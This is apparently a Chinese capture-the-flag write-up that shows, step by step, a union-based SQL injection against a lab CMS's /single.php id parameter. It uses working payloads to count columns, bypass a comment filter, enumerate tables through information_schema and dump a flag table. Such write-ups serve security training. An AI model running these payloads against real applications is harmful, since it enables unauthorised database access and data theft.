春秋之境28512

题目说该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。访问看一下随便点一个图片。

发现了注入点?id=

那么开始查看闭合符一个 ' 就报错了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

分析一下就知道就是一个 ' 并且过滤符#被过滤了

所以用 --+ 或者 ;%00 来过滤后面

用 order by 数字 来判断字段发现order by 9成功

order by 10报错,所以字段就是9个

使用payload:?id=-1' union select 1,2,3,4,5,6,7,8,9 ;%00

发现第2个位置有回显

?id=-1' union select 1,database(),3,4,5,6,7,8,9 ;%00

爆出数据库ctf

试了很多写法最后还是发现payload为:?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf';%00

爆出表名titles

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='titles';%00

接着爆字段,发现爆出来的东西没一点关系(表爆出了一个没用的)

构造payload

?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+

查看后面的表名

从limit 0,1 一直到limit 13,1

一共有14个表

分别为titlespage_hitsmembership_userpermissionsmembership_groupsblog_categoriesmembership_userrecordsmembership_userseditors_choiceblogslinksflagbanner_postsmembership_grouppermissionsvisitor_info

毫无疑问就flag最像了

接着便是查字段

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' --+

查内容

id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag --+

flag{218405b4-7dcd-4f19-8b07-7aec5b843a21}

相关推荐
数据知道8 小时前
PostgreSQL的连接方式有哪些?有哪些连接工具?
数据库·postgresql
柚子科技8 小时前
毕业设计不用愁:一个免费的 SQL 转 ER 图在线工具,真香!
数据库·sql·毕业设计·课程设计·毕设
xuefuhe8 小时前
postgresql获取真正的execution plan
数据库·postgresql
xcLeigh8 小时前
KingbaseES数据库:ksql 命令行从建表到删表实战(含避坑指南)
数据库·增删改查·国产数据库·金仓数据库
我是黄骨鱼8 小时前
【零基础学数据库|第五篇】DDL语句的使用
数据库
鸽芷咕8 小时前
从 Query Mapping 到函数缓存,KingbaseES 高级 SQL 调优手段全揭秘
数据库·sql·缓存·金仓数据库
Dxy12393102168 小时前
MySQL的DATETIME字段如何避免隐式转换:索引优化与范围查询实践
数据库·mysql
大鹏说大话8 小时前
SQL Server 触发器实战全解:用对是利器,用错是灾难
数据库·sql·mysql
初恋叫萱萱8 小时前
基于 Rust 与 DeepSeek 构建高性能 Text-to-SQL 数据库代理服务
数据库·sql·rust
xcLeigh8 小时前
KingbaseES数据库:ksql 命令行玩转索引与视图,从创建到避坑
数据库·索引·国产数据库·视图·金仓数据库·ksql